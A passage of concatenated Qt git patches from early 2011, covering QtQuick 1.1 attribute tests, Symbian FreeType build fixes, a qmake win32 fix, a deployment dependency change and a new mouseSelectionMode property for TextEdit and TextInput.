    +        << ":1 \"Text.lineHeight\" is not available in QtQuick 1.0.\n";
    +
    +    QTest::newRow("lineHeightMode") << "lineHeightMode: Text.MultiplyHeight"
    +        << "QDeclarativeComponent: Component is not ready"
    +        << ":1 \"Text.lineHeightMode\" is not available in QtQuick 1.0.\n";
    +
    +    QTest::newRow("lineCount") << "property int foo: lineCount"
             << ":1: ReferenceError: Can't find variable: lineCount"
             << "";
    +
    +    QTest::newRow("truncated") << "property bool foo: truncated"
    +        << ":1: ReferenceError: Can't find variable: truncated"
    +        << "";
     }
     
     QTEST_MAIN(tst_qdeclarativetext)
    diff --git a/tests/auto/declarative/qdeclarativetextedit/tst_qdeclarativetextedit.cpp b/tests/auto/declarative/qdeclarativetextedit/tst_qdeclarativetextedit.cpp
    index b1e0cb9..1364337 100644
    --- a/tests/auto/declarative/qdeclarativetextedit/tst_qdeclarativetextedit.cpp
    +++ b/tests/auto/declarative/qdeclarativetextedit/tst_qdeclarativetextedit.cpp
    @@ -1513,14 +1513,14 @@ void tst_qdeclarativetextedit::testQtQuick11Attributes()
         QObject *obj;
     
         QDeclarativeComponent valid(&engine);
    -    valid.setData("import QtQuick 1.1; Text { " + code.toUtf8() + " }", QUrl(""));
    +    valid.setData("import QtQuick 1.1; TextEdit { " + code.toUtf8() + " }", QUrl(""));
         obj = valid.create();
         QVERIFY(obj);
         QVERIFY(valid.errorString().isEmpty());
         delete obj;
     
         QDeclarativeComponent invalid(&engine);
    -    invalid.setData("import QtQuick 1.0; Text { " + code.toUtf8() + " }", QUrl(""));
    +    invalid.setData("import QtQuick 1.0; TextEdit { " + code.toUtf8() + " }", QUrl(""));
         QTest::ignoreMessage(QtWarningMsg, warning.toUtf8());
         obj = invalid.create();
         QCOMPARE(invalid.errorString(), error);
    @@ -1540,6 +1540,18 @@ void tst_qdeclarativetextedit::testQtQuick11Attributes_data()
         QTest::newRow("lineCount") << "property int foo: lineCount"
             << ":1: ReferenceError: Can't find variable: lineCount"
             << "";
    +
    +    QTest::newRow("moveCursorSelection") << "Component.onCompleted: moveCursorSelection(0, TextEdit.SelectCharacters)"
    +        << ":1: ReferenceError: Can't find variable: moveCursorSelection"
    +        << "";
    +
    +    QTest::newRow("deselect") << "Component.onCompleted: deselect()"
    +        << ":1: ReferenceError: Can't find variable: deselect"
    +        << "";
    +
    +    QTest::newRow("onLinkActivated") << "onLinkActivated: {}"
    +        << "QDeclarativeComponent: Component is not ready"
    +        << ":1 \"TextEdit.onLinkActivated\" is not available in QtQuick 1.0.\n";
     }
     
     QTEST_MAIN(tst_qdeclarativetextedit)
    diff --git a/tests/auto/declarative/qdeclarativetextinput/tst_qdeclarativetextinput.cpp b/tests/auto/declarative/qdeclarativetextinput/tst_qdeclarativetextinput.cpp
    index 78f6693..7cdec27 100644
    --- a/tests/auto/declarative/qdeclarativetextinput/tst_qdeclarativetextinput.cpp
    +++ b/tests/auto/declarative/qdeclarativetextinput/tst_qdeclarativetextinput.cpp
    @@ -117,6 +117,9 @@ private slots:
     
         void echoMode();
         void geometrySignals();
    +    void testQtQuick11Attributes();
    +    void testQtQuick11Attributes_data();
    +
     private:
         void simulateKey(QDeclarativeView *, int key);
         QDeclarativeView *createView(const QString &filename);
    @@ -1434,6 +1437,49 @@ void tst_qdeclarativetextinput::geometrySignals()
         delete o;
     }
     
    +void tst_qdeclarativetextinput::testQtQuick11Attributes()
    +{
    +    QFETCH(QString, code);
    +    QFETCH(QString, warning);
    +    QFETCH(QString, error);
    +
    +    QDeclarativeEngine engine;
    +    QObject *obj;
    +
    +    QDeclarativeComponent valid(&engine);
    +    valid.setData("import QtQuick 1.1; TextInput { " + code.toUtf8() + " }", QUrl(""));
    +    obj = valid.create();
    +    QVERIFY(obj);
    +    QVERIFY(valid.errorString().isEmpty());
    +    delete obj;
    +
    +    QDeclarativeComponent invalid(&engine);
    +    invalid.setData("import QtQuick 1.0; TextInput { " + code.toUtf8() + " }", QUrl(""));
    +    QTest::ignoreMessage(QtWarningMsg, warning.toUtf8());
    +    obj = invalid.create();
    +    QCOMPARE(invalid.errorString(), error);
    +    delete obj;
    +}
    +
    +void tst_qdeclarativetextinput::testQtQuick11Attributes_data()
    +{
    +    QTest::addColumn("code");
    +    QTest::addColumn("warning");
    +    QTest::addColumn("error");
    +
    +    QTest::newRow("canPaste") << "property bool foo: canPaste"
    +        << ":1: ReferenceError: Can't find variable: canPaste"
    +        << "";
    +
    +    QTest::newRow("moveCursorSelection") << "Component.onCompleted: moveCursorSelection(0, TextEdit.SelectCharacters)"
    +        << ":1: ReferenceError: Can't find variable: moveCursorSelection"
    +        << "";
    +
    +    QTest::newRow("deselect") << "Component.onCompleted: deselect()"
    +        << ":1: ReferenceError: Can't find variable: deselect"
    +        << "";
    +}
    +
     QTEST_MAIN(tst_qdeclarativetextinput)
     
     #include "tst_qdeclarativetextinput.moc"
    -- 
    cgit v0.12
    
    
    From ca1601ae78963fbaa668d82f63988ad7b41f23bc Mon Sep 17 00:00:00 2001
    From: Yoann Lopes 
    Date: Mon, 31 Jan 2011 12:37:53 +0100
    Subject: Fixes compilation when using FreeType on Symbian.
    
    ---
     src/declarative/declarative.pro     | 7 +++++++
     src/gui/kernel/qapplication_s60.cpp | 4 ++++
     src/gui/text/qfontdatabase_s60.cpp  | 2 ++
     src/gui/text/text.pri               | 2 +-
     src/opengl/opengl.pro               | 7 +++++++
     src/openvg/openvg.pro               | 7 +++++++
     6 files changed, 28 insertions(+), 1 deletion(-)
    
    diff --git a/src/declarative/declarative.pro b/src/declarative/declarative.pro
    index 4ed4f9f..6bd314f 100644
    --- a/src/declarative/declarative.pro
    +++ b/src/declarative/declarative.pro
    @@ -27,6 +27,13 @@ include(debugger/debugger.pri)
     symbian: {
         TARGET.UID3=0x2001E623
         LIBS += -lefsrv
    +
    +    contains(QT_CONFIG, freetype) {
    +        DEFINES += QT_NO_FONTCONFIG
    +        INCLUDEPATH += \
    +            ../3rdparty/freetype/src \
    +            ../3rdparty/freetype/include
    +    }
     }
     
     DEFINES += QT_NO_OPENTYPE
    diff --git a/src/gui/kernel/qapplication_s60.cpp b/src/gui/kernel/qapplication_s60.cpp
    index 3a70dd5..8b2412e 100644
    --- a/src/gui/kernel/qapplication_s60.cpp
    +++ b/src/gui/kernel/qapplication_s60.cpp
    @@ -1616,7 +1616,9 @@ void qt_init(QApplicationPrivate * /* priv */, int)
         qRegisterMetaType("WId");
     }
     
    +#ifdef QT_NO_FREETYPE
     extern void qt_cleanup_symbianFontDatabaseExtras(); // qfontdatabase_s60.cpp
    +#endif
     
     /*****************************************************************************
       qt_cleanup() - cleans up when the application is finished
    @@ -1633,7 +1635,9 @@ void qt_cleanup()
         QFontCache::cleanup(); // Has to happen now, since QFontEngineS60 has FBS handles
         QPixmapCache::clear(); // Has to happen now, since QS60PixmapData has FBS handles
     
    +#ifdef QT_NO_FREETYPE
         qt_cleanup_symbianFontDatabaseExtras();
    +#endif
     // S60 structure and window server session are freed in eventdispatcher destructor as they are needed there
     
         // It's important that this happens here, before the event dispatcher gets
    diff --git a/src/gui/text/qfontdatabase_s60.cpp b/src/gui/text/qfontdatabase_s60.cpp
    index 6ba035e..6d8d7c3 100644
    --- a/src/gui/text/qfontdatabase_s60.cpp
    +++ b/src/gui/text/qfontdatabase_s60.cpp
    @@ -331,6 +331,7 @@ void QFontEngineMultiS60::loadEngine(int at)
         Q_ASSERT(engines[at]);
     }
     
    +#ifdef QT_NO_FREETYPE
     static bool addFontToScreenDevice(int screenDeviceFontIndex,
                                       const QSymbianFontDatabaseExtrasImplementation *dbExtras)
     {    
    @@ -381,6 +382,7 @@ static bool addFontToScreenDevice(int screenDeviceFontIndex,
             family->writingSystems[system] = QtFontFamily::Supported;
         return true;
     }
    +#endif
     
     static void initializeDb()
     {
    diff --git a/src/gui/text/text.pri b/src/gui/text/text.pri
    index daafdd9..d3e8f2d 100644
    --- a/src/gui/text/text.pri
    +++ b/src/gui/text/text.pri
    @@ -147,8 +147,8 @@ symbian {
     			text/qfontengine_s60.cpp
     		HEADERS += \
     			text/qfontengine_s60_p.h
    -		LIBS += -lfntstr -lecom
     	}
    +	LIBS += -lfntstr -lecom
     }
     
     !qpa {
    diff --git a/src/opengl/opengl.pro b/src/opengl/opengl.pro
    index 8b587cf..08ae774 100644
    --- a/src/opengl/opengl.pro
    +++ b/src/opengl/opengl.pro
    @@ -163,6 +163,13 @@ symbian {
     
         HEADERS += qgl_egl_p.h
     
    +    contains(QT_CONFIG, freetype) {
    +        DEFINES += QT_NO_FONTCONFIG
    +        INCLUDEPATH += \
    +            ../3rdparty/freetype/src \
    +            ../3rdparty/freetype/include
    +    }
    +
         symbian:TARGET.UID3 = 0x2002131A
     }
     
    diff --git a/src/openvg/openvg.pro b/src/openvg/openvg.pro
    index e7ed890..e185949 100644
    --- a/src/openvg/openvg.pro
    +++ b/src/openvg/openvg.pro
    @@ -38,6 +38,13 @@ symbian {
         DEFINES += QVG_RECREATE_ON_SIZE_CHANGE QVG_BUFFER_SCROLLING QVG_SCISSOR_CLIP
         SOURCES += \
             qvg_symbian.cpp
    +
    +    contains(QT_CONFIG, freetype) {
    +        DEFINES += QT_NO_FONTCONFIG
    +        INCLUDEPATH += \
    +            ../3rdparty/freetype/src \
    +            ../3rdparty/freetype/include
    +    }
     }
     
     include(../qbase.pri)
    -- 
    cgit v0.12
    
    
    From fd1190c75f05faa14aa84e65fa37b40d5a5fc2c5 Mon Sep 17 00:00:00 2001
    From: Yoann Lopes 
    Date: Mon, 31 Jan 2011 13:54:18 +0100
    Subject: Fixes lastResortFamily() on Symbian when using FreeType.
    
    It was previously always returning 'Series 60 Sans'. On Symbian^3
    the default font can be 'Nokia Sans S60'. The patch makes sure the
    available one is returned.
    
    Reviewed-by: Alessandro Portale 
    ---
     src/gui/text/qfont_s60.cpp | 18 ++++++++++++++++--
     1 file changed, 16 insertions(+), 2 deletions(-)
    
    diff --git a/src/gui/text/qfont_s60.cpp b/src/gui/text/qfont_s60.cpp
    index c7d36ef..114191d 100644
    --- a/src/gui/text/qfont_s60.cpp
    +++ b/src/gui/text/qfont_s60.cpp
    @@ -49,13 +49,14 @@ QT_BEGIN_NAMESPACE
     
     #ifdef QT_NO_FREETYPE
     Q_GLOBAL_STATIC(QMutex, lastResortFamilyMutex);
    +#endif // QT_NO_FREETYPE
    +
     extern QStringList qt_symbian_fontFamiliesOnFontServer(); // qfontdatabase_s60.cpp
     Q_GLOBAL_STATIC_WITH_INITIALIZER(QStringList, fontFamiliesOnFontServer, {
         // We are only interested in the initial font families. No Application fonts.
         // Therefore, we are allowed to cache the list.
         x->append(qt_symbian_fontFamiliesOnFontServer());
     });
    -#endif // QT_NO_FREETYPE
     
     QString QFont::lastResortFont() const
     {
    @@ -95,7 +96,20 @@ QString QFont::lastResortFamily() const
         const bool isJapaneseOrChineseSystem =
             User::Language() == ELangJapanese || User::Language() == ELangPrcChinese;
     
    -    return QLatin1String(isJapaneseOrChineseSystem?"Heisei Kaku Gothic S60":"Series 60 Sans");
    +    static QString family;
    +    if (family.isEmpty()) {
    +        QStringList families = qt_symbian_fontFamiliesOnFontServer();
    +        const char* const preferredFamilies[] = {"Nokia Sans S60", "Series 60 Sans"};
    +        for (int i = 0; i < sizeof preferredFamilies / sizeof preferredFamilies[0]; ++i) {
    +            const QString preferredFamily = QLatin1String(preferredFamilies[i]);
    +            if (families.contains(preferredFamily)) {
    +                family = preferredFamily;
    +                break;
    +            }
    +        }
    +    }
    +
    +    return QLatin1String(isJapaneseOrChineseSystem?"Heisei Kaku Gothic S60":family.toLatin1());
     #endif // QT_NO_FREETYPE
     }
     
    -- 
    cgit v0.12
    
    
    From 3f6da18e492a58d65feabdb2037b13d38ddf83bd Mon Sep 17 00:00:00 2001
    From: axis 
    Date: Mon, 31 Jan 2011 14:39:23 +0100
    Subject: Fixed win32-msvc2008 build regression.
    
    We needed to move the code in the init() function to the
    fixTargetExt() function, which is where the variables are actually
    used. The reason is that fixTargetExt() runs before init().
    
    RevBy:    Miikka Heikkinen
    ---
     qmake/generators/win32/winmakefile.cpp | 13 +++++--------
     qmake/generators/win32/winmakefile.h   |  1 -
     2 files changed, 5 insertions(+), 9 deletions(-)
    
    diff --git a/qmake/generators/win32/winmakefile.cpp b/qmake/generators/win32/winmakefile.cpp
    index 409d550..603ffb5 100644
    --- a/qmake/generators/win32/winmakefile.cpp
    +++ b/qmake/generators/win32/winmakefile.cpp
    @@ -57,14 +57,6 @@ Win32MakefileGenerator::Win32MakefileGenerator() : MakefileGenerator()
     {
     }
     
    -void Win32MakefileGenerator::init()
    -{
    -    if (project->isEmpty("QMAKE_EXTENSION_STATICLIB"))
    -        project->values("QMAKE_EXTENSION_STATICLIB").append("lib");
    -    if (project->isEmpty("QMAKE_EXTENSION_SHLIB"))
    -        project->values("QMAKE_EXTENSION_SHLIB").append("lib");
    -}
    -
     int
     Win32MakefileGenerator::findHighestVersion(const QString &d, const QString &stem, const QString &ext)
     {
    @@ -373,6 +365,11 @@ void Win32MakefileGenerator::processVars()
     
     void Win32MakefileGenerator::fixTargetExt()
     {
    +    if (project->isEmpty("QMAKE_EXTENSION_STATICLIB"))
    +        project->values("QMAKE_EXTENSION_STATICLIB").append("lib");
    +    if (project->isEmpty("QMAKE_EXTENSION_SHLIB"))
    +        project->values("QMAKE_EXTENSION_SHLIB").append("dll");
    +
         if (!project->values("QMAKE_APP_FLAG").isEmpty()) {
             project->values("TARGET_EXT").append(".exe");
         } else if (project->isActiveConfig("shared")) {
    diff --git a/qmake/generators/win32/winmakefile.h b/qmake/generators/win32/winmakefile.h
    index cfc2c55..fb11e1a 100644
    --- a/qmake/generators/win32/winmakefile.h
    +++ b/qmake/generators/win32/winmakefile.h
    @@ -59,7 +59,6 @@ class Win32MakefileGenerator : public MakefileGenerator
     public:
         Win32MakefileGenerator();
         ~Win32MakefileGenerator();
    -    void init();
     protected:
         virtual QString defaultInstall(const QString &);
         virtual void writeCleanParts(QTextStream &t);
    -- 
    cgit v0.12
    
    
    From dc8163d64af88e1daa88c7b1bf9903a87eb3d5b0 Mon Sep 17 00:00:00 2001
    From: Miikka Heikkinen 
    Date: Mon, 31 Jan 2011 17:13:46 +0200
    Subject: Make emulator deployment depend on post linking in symbian-sbsv2.
    
    Post linking output was not previously possible to deploy as there
    was no dependency from deployment to post linking, which meant
    deployment was usually attempted first. Now all post linking in
    project tree needs to be done before any deployment is done.
    
    Note that you can still get warnings about missing dependencies as
    sbsv2 checks those before it actually executes the targets. These
    warnings are harmless, but difficult to get rid of using a general
    solution, as qmake cannot make any guesses what QMAKE_POST_LINK
    handling might output.
    
    Task-number: QTBUG-17037
    Reviewed-by: axis
    ---
     mkspecs/symbian-sbsv2/flm/qt/qmake_emulator_deployment.flm | 8 ++++----
     mkspecs/symbian-sbsv2/flm/qt/qmake_post_link.flm           | 2 ++
     2 files changed, 6 insertions(+), 4 deletions(-)
    
    diff --git a/mkspecs/symbian-sbsv2/flm/qt/qmake_emulator_deployment.flm b/mkspecs/symbian-sbsv2/flm/qt/qmake_emulator_deployment.flm
    index db91f7f..39ab0f0 100644
    --- a/mkspecs/symbian-sbsv2/flm/qt/qmake_emulator_deployment.flm
    +++ b/mkspecs/symbian-sbsv2/flm/qt/qmake_emulator_deployment.flm
    @@ -11,6 +11,9 @@
     SINGLETON:=$(call sanitise,TARGET_$(DEPLOY_TARGET))
     CLEAN_TARGET:=
     
    +# Deployment dependencies collection target for post link operations
    +all_qmake_emulator_deployment_dependencies::
    +
     define qmake_emulator_deployment
     $(ALLTARGET):: $(1)
     
    @@ -19,7 +22,7 @@ $(SINGLETON):=1
     
     CLEAN_TARGET:=$(1)
     
    -$(1): $(2)
    +$(1): $(2) all_qmake_emulator_deployment_dependencies
     	$(call startrule,qmake_emulator_deployment) \
     	$(GNUCP) --remove-destination --no-preserve=mode $(2) "$$@" && \
     	$(GNUCHMOD) a+rw "$$@" \
    @@ -32,6 +35,3 @@ $(call makepath,$(dir $(DEPLOY_TARGET)))
     $(eval $(call GenerateStandardCleanTarget,$(CLEAN_TARGET),''))
     endif	
     
    -
    -
    -
    diff --git a/mkspecs/symbian-sbsv2/flm/qt/qmake_post_link.flm b/mkspecs/symbian-sbsv2/flm/qt/qmake_post_link.flm
    index ae53741..0312d14 100644
    --- a/mkspecs/symbian-sbsv2/flm/qt/qmake_post_link.flm
    +++ b/mkspecs/symbian-sbsv2/flm/qt/qmake_post_link.flm
    @@ -18,6 +18,8 @@ define command_fixer
     	THE_COMMAND:=$(POST_LINK_CMD)
     endef
     
    +all_qmake_emulator_deployment_dependencies:: $(POST_LINK_TARGET)
    +
     define qmake_post_link
     $(ALLTARGET):: $(POST_LINK_TARGET)
     
    -- 
    cgit v0.12
    
    
    From 1eea6ca3c22a1c859d06b573570314f7bd2f2833 Mon Sep 17 00:00:00 2001
    From: Sergio Ahumada 
    Date: Mon, 31 Jan 2011 23:36:54 +0100
    Subject: Doc: Fixing typo
    
    ---
     tools/qdoc3/ditaxmlgenerator.cpp | 2 +-
     1 file changed, 1 insertion(+), 1 deletion(-)
    
    diff --git a/tools/qdoc3/ditaxmlgenerator.cpp b/tools/qdoc3/ditaxmlgenerator.cpp
    index 44df302..e180c0a 100644
    --- a/tools/qdoc3/ditaxmlgenerator.cpp
    +++ b/tools/qdoc3/ditaxmlgenerator.cpp
    @@ -2285,7 +2285,7 @@ void DitaXmlGenerator::generateIncludes(const InnerNode* inner, CodeMarker* mark
     
     /*!
       zzz
    -  Generates a table of contents begining at \a node.
    +  Generates a table of contents beginning at \a node.
       Currently just returns without writing anything.
      */
     void DitaXmlGenerator::generateTableOfContents(const Node* node,
    -- 
    cgit v0.12
    
    
    From ba63becc13221ca6538fb40c790275465dd47703 Mon Sep 17 00:00:00 2001
    From: Andrew den Exter 
    Date: Fri, 28 Jan 2011 15:58:37 +1000
    Subject: Add a mouseSelectionMode property to TextEdit and TextInput.
    
    Adds an option to do per word selection when selectByMouse is true.
    Also changes the selection behavior so that the first word selected
    remains selected when the direction of the selection changes which
    is more consistent with other implementations including the existing
    per word selection in QTextEdit.
    
    Task-number: QTBUG-16283
    Reviewed-by: Martin Jones
    ---
     .../graphicsitems/qdeclarativetextedit.cpp         |  84 +++--
     .../graphicsitems/qdeclarativetextedit_p.h         |   5 +
     .../graphicsitems/qdeclarativetextedit_p_p.h       |   3 +-
     .../graphicsitems/qdeclarativetextinput.cpp        |  90 +++---
     .../graphicsitems/qdeclarativetextinput_p.h        |   5 +
     .../graphicsitems/qdeclarativetextinput_p_p.h      |   2 +
     src/gui/text/qtextcontrol.cpp                      |  27 +-
     src/gui/text/qtextcontrol_p.h                      |   5 +-
     src/gui/text/qtextcontrol_p_p.h                    |   2 +
     .../data/mouseselectionmode_characters.qml         |   8 +
     .../data/mouseselectionmode_default.qml            |   7 +
     .../data/mouseselectionmode_words.qml              |   8 +
     .../tst_qdeclarativetextedit.cpp                   | 349 ++++++++++++++++----
     .../data/mouseselectionmode_characters.qml         |   8 +
     .../data/mouseselectionmode_default.qml            |   7 +
     .../data/mouseselectionmode_words.qml              |   8 +
     .../tst_qdeclarativetextinput.cpp                  | 352 +++++++++++++++++----
     17 files changed, 778 insertions(+), 192 deletions(-)
     create mode 100644 tests/auto/declarative/qdeclarativetextedit/data/mouseselectionmode_characters.qml
     create mode 100644 tests/auto/declarative/qdeclarativetextedit/data/mouseselectionmode_default.qml
     create mode 100644 tests/auto/declarative/qdeclarativetextedit/data/mouseselectionmode_words.qml
     create mode 100644 tests/auto/declarative/qdeclarativetextinput/data/mouseselectionmode_characters.qml
     create mode 100644 tests/auto/declarative/qdeclarativetextinput/data/mouseselectionmode_default.qml
     create mode 100644 tests/auto/declarative/qdeclarativetextinput/data/mouseselectionmode_words.qml
    
    diff --git a/src/declarative/graphicsitems/qdeclarativetextedit.cpp b/src/declarative/graphicsitems/qdeclarativetextedit.cpp
    index 959d655..f63e4cb 100644
    --- a/src/declarative/graphicsitems/qdeclarativetextedit.cpp
    +++ b/src/declarative/graphicsitems/qdeclarativetextedit.cpp
    @@ -653,9 +653,7 @@ void QDeclarativeTextEdit::moveCursorSelection(int pos)
         selected (the 6th and 7th characters).
     
         The same sequence with TextEdit.SelectWords will extend the selection start to a word boundary
    -    before or on position 5 and extend the selection end to a word boundary past position 9, and
    -    then if there is a word boundary between position 7 and 8 retract the selection end to that
    -    boundary.  If there is whitespace at position 7 the selection will be retracted further.
    +    before or on position 5 and extend the selection end to a word boundary on or past position 9.
     */
     void QDeclarativeTextEdit::moveCursorSelection(int pos, SelectionMode mode)
     {
    @@ -665,48 +663,43 @@ void QDeclarativeTextEdit::moveCursorSelection(int pos, SelectionMode mode)
             return;
         if (mode == SelectCharacters) {
             cursor.setPosition(pos, QTextCursor::KeepAnchor);
    -    } else if (cursor.anchor() < pos) {
    -        cursor.setPosition(cursor.anchor(), QTextCursor::MoveAnchor);
    -        cursor.movePosition(QTextCursor::EndOfWord, QTextCursor::KeepAnchor);
    -        if (cursor.position() == cursor.anchor()) {
    -            cursor.movePosition(QTextCursor::NextWord, QTextCursor::MoveAnchor);
    +    } else if (cursor.anchor() < pos || (cursor.anchor() == pos && cursor.position() < pos)) {
    +        if (cursor.anchor() > cursor.position()) {
    +            cursor.setPosition(cursor.anchor(), QTextCursor::MoveAnchor);
    +            cursor.movePosition(QTextCursor::StartOfWord, QTextCursor::KeepAnchor);
    +            if (cursor.position() == cursor.anchor())
    +                cursor.movePosition(QTextCursor::PreviousWord, QTextCursor::MoveAnchor);
    +            else
    +                cursor.setPosition(cursor.position(), QTextCursor::MoveAnchor);
             } else {
    -            cursor.movePosition(QTextCursor::PreviousCharacter, QTextCursor::MoveAnchor);
    +            cursor.setPosition(cursor.anchor(), QTextCursor::MoveAnchor);
                 cursor.movePosition(QTextCursor::StartOfWord, QTextCursor::MoveAnchor);
             }
    +
             cursor.setPosition(pos, QTextCursor::KeepAnchor);
             cursor.movePosition(QTextCursor::StartOfWord, QTextCursor::KeepAnchor);
    -        if (cursor.position() == pos) {
    -            cursor.movePosition(QTextCursor::PreviousWord, QTextCursor::KeepAnchor);
    +        if (cursor.position() != pos)
                 cursor.movePosition(QTextCursor::EndOfWord, QTextCursor::KeepAnchor);
    -
    -            if (cursor.anchor() > cursor.position())
    -                cursor.setPosition(pos, QTextCursor::MoveAnchor);
    -        } else {
    -            cursor.movePosition(QTextCursor::EndOfWord, QTextCursor::KeepAnchor);
    -        }
    -    } else if (cursor.anchor() > pos) {
    -        cursor.setPosition(cursor.anchor(), QTextCursor::MoveAnchor);
    -        cursor.movePosition(QTextCursor::StartOfWord, QTextCursor::KeepAnchor);
    -        if (cursor.position() == cursor.anchor()) {
    -            cursor.movePosition(QTextCursor::PreviousWord, QTextCursor::MoveAnchor);
    +    } else if (cursor.anchor() > pos || (cursor.anchor() == pos && cursor.position() > pos)) {
    +        if (cursor.anchor() < cursor.position()) {
    +            cursor.setPosition(cursor.anchor(), QTextCursor::MoveAnchor);
                 cursor.movePosition(QTextCursor::EndOfWord, QTextCursor::MoveAnchor);
             } else {
    -            cursor.movePosition(QTextCursor::EndOfWord, QTextCursor::MoveAnchor);
    +            cursor.setPosition(cursor.anchor(), QTextCursor::MoveAnchor);
    +            cursor.movePosition(QTextCursor::PreviousCharacter, QTextCursor::KeepAnchor);
    +            cursor.movePosition(QTextCursor::EndOfWord, QTextCursor::KeepAnchor);
    +            if (cursor.position() != cursor.anchor()) {
    +                cursor.setPosition(cursor.anchor(), QTextCursor::MoveAnchor);
    +                cursor.movePosition(QTextCursor::EndOfWord, QTextCursor::MoveAnchor);
    +            }
             }
    +
             cursor.setPosition(pos, QTextCursor::KeepAnchor);
             cursor.movePosition(QTextCursor::EndOfWord, QTextCursor::KeepAnchor);
    -        if (cursor.position() == pos) {
    -            cursor.movePosition(QTextCursor::NextWord, QTextCursor::KeepAnchor);
    -
    -            if (cursor.anchor() < cursor.position())
    -                cursor.setPosition(pos, QTextCursor::MoveAnchor);
    -        } else {
    +        if (cursor.position() != pos) {
                 cursor.movePosition(QTextCursor::PreviousCharacter, QTextCursor::KeepAnchor);
                 cursor.movePosition(QTextCursor::StartOfWord, QTextCursor::KeepAnchor);
             }
    -    } else {
    -        cursor.setPosition(pos, QTextCursor::MoveAnchor);
         }
         d->control->setTextCursor(cursor);
     }
    @@ -986,6 +979,35 @@ void QDeclarativeTextEdit::setSelectByMouse(bool on)
     }
     
     
    +/*!
    +    \qmlproperty enum TextEdit::mouseSelectionMode
    +    \since Quick 1.1
    +
    +    Specifies how text should be selected using a mouse.
    +
    +    \list
    +    \o TextEdit.SelectCharacters - The selection is updated with individual characters. (Default)
    +    \o TextEdit.SelectWords - The selection is updated with whole words.
    +    \endlist
    +
    +    This property only applies when \l selectByMouse is true.
    +*/
    +
    +QDeclarativeTextEdit::SelectionMode QDeclarativeTextEdit::mouseSelectionMode() const
    +{
    +    Q_D(const QDeclarativeTextEdit);
    +    return d->mouseSelectionMode;
    +}
    +
    +void QDeclarativeTextEdit::setMouseSelectionMode(SelectionMode mode)
    +{
    +    Q_D(QDeclarativeTextEdit);
    +    if (d->mouseSelectionMode != mode) {
    +        d->mouseSelectionMode = mode;
    +        d->control->setWordSelectionEnabled(mode == SelectWords);
    +        emit mouseSelectionModeChanged(mode);
    +    }
    +}
     
     /*!
         \qmlproperty bool TextEdit::readOnly
    diff --git a/src/declarative/graphicsitems/qdeclarativetextedit_p.h b/src/declarative/graphicsitems/qdeclarativetextedit_p.h
    index db3cb2d..7785a7a 100644
    --- a/src/declarative/graphicsitems/qdeclarativetextedit_p.h
    +++ b/src/declarative/graphicsitems/qdeclarativetextedit_p.h
    @@ -92,6 +92,7 @@ class Q_AUTOTEST_EXPORT QDeclarativeTextEdit : public QDeclarativeImplicitSizePa
         Q_PROPERTY(qreal textMargin READ textMargin WRITE setTextMargin NOTIFY textMarginChanged)
         Q_PROPERTY(Qt::InputMethodHints inputMethodHints READ inputMethodHints WRITE setInputMethodHints)
         Q_PROPERTY(bool selectByMouse READ selectByMouse WRITE setSelectByMouse NOTIFY selectByMouseChanged)
    +    Q_PROPERTY(SelectionMode mouseSelectionMode READ mouseSelectionMode WRITE setMouseSelectionMode NOTIFY mouseSelectionModeChanged REVISION 1)
         Q_PROPERTY(bool canPaste READ canPaste NOTIFY canPasteChanged REVISION 1)
     
     public:
    @@ -186,6 +187,9 @@ public:
         bool selectByMouse() const;
         void setSelectByMouse(bool);
     
    +    SelectionMode mouseSelectionMode() const;
    +    void setMouseSelectionMode(SelectionMode mode);
    +
         bool canPaste() const;
     
         virtual void componentComplete();
    @@ -235,6 +239,7 @@ Q_SIGNALS:
         void persistentSelectionChanged(bool isPersistentSelection);
         void textMarginChanged(qreal textMargin);
         void selectByMouseChanged(bool selectByMouse);
    +    Q_REVISION(1) void mouseSelectionModeChanged(SelectionMode mode);
         Q_REVISION(1) void linkActivated(const QString &link);
         Q_REVISION(1) void canPasteChanged();
     
    diff --git a/src/declarative/graphicsitems/qdeclarativetextedit_p_p.h b/src/declarative/graphicsitems/qdeclarativetextedit_p_p.h
    index 98b3c6d..111cc02 100644
    --- a/src/declarative/graphicsitems/qdeclarativetextedit_p_p.h
    +++ b/src/declarative/graphicsitems/qdeclarativetextedit_p_p.h
    @@ -73,7 +73,7 @@ public:
           showInputPanelOnFocus(true), clickCausedFocus(false), persistentSelection(true), requireImplicitWidth(false),
           textMargin(0.0), lastSelectionStart(0), lastSelectionEnd(0), cursorComponent(0), cursor(0),
           format(QDeclarativeTextEdit::AutoText), document(0), wrapMode(QDeclarativeTextEdit::NoWrap),
    -      selectByMouse(false), canPaste(false),
    +      mouseSelectionMode(QDeclarativeTextEdit::SelectCharacters), selectByMouse(false), canPaste(false),
           yoff(0)
         {
     #ifdef Q_OS_SYMBIAN
    @@ -121,6 +121,7 @@ public:
         QTextDocument *document;
         QTextControl *control;
         QDeclarativeTextEdit::WrapMode wrapMode;
    +    QDeclarativeTextEdit::SelectionMode mouseSelectionMode;
         int lineCount;
         bool selectByMouse;
         bool canPaste;
    diff --git a/src/declarative/graphicsitems/qdeclarativetextinput.cpp b/src/declarative/graphicsitems/qdeclarativetextinput.cpp
    index 3d2466d..9e62291 100644
    --- a/src/declarative/graphicsitems/qdeclarativetextinput.cpp
    +++ b/src/declarative/graphicsitems/qdeclarativetextinput.cpp
    @@ -1022,7 +1022,7 @@ void QDeclarativeTextInput::mouseMoveEvent(QGraphicsSceneMouseEvent *event)
     {
         Q_D(QDeclarativeTextInput);
         if (d->selectByMouse) {
    -        d->control->moveCursor(d->xToPos(event->pos().x()), true);
    +        moveCursorSelection(d->xToPos(event->pos().x()), d->mouseSelectionMode);
             event->setAccepted(true);
         } else {
             QDeclarativePaintedItem::mouseMoveEvent(event);
    @@ -1348,6 +1348,35 @@ void QDeclarativeTextInput::setSelectByMouse(bool on)
         }
     }
     
    +/*!
    +    \qmlproperty enum TextInput::mouseSelectionMode
    +    \since Quick 1.1
    +
    +    Specifies how text should be selected using a mouse.
    +
    +    \list
    +    \o TextInput.SelectCharacters - The selection is updated with individual characters. (Default)
    +    \o TextInput.SelectWords - The selection is updated with whole words.
    +    \endlist
    +
    +    This property only applies when \l selectByMouse is true.
    +*/
    +
    +QDeclarativeTextInput::SelectionMode QDeclarativeTextInput::mouseSelectionMode() const
    +{
    +    Q_D(const QDeclarativeTextInput);
    +    return d->mouseSelectionMode;
    +}
    +
    +void QDeclarativeTextInput::setMouseSelectionMode(SelectionMode mode)
    +{
    +    Q_D(QDeclarativeTextInput);
    +    if (d->mouseSelectionMode != mode) {
    +        d->mouseSelectionMode = mode;
    +        emit mouseSelectionModeChanged(mode);
    +    }
    +}
    +
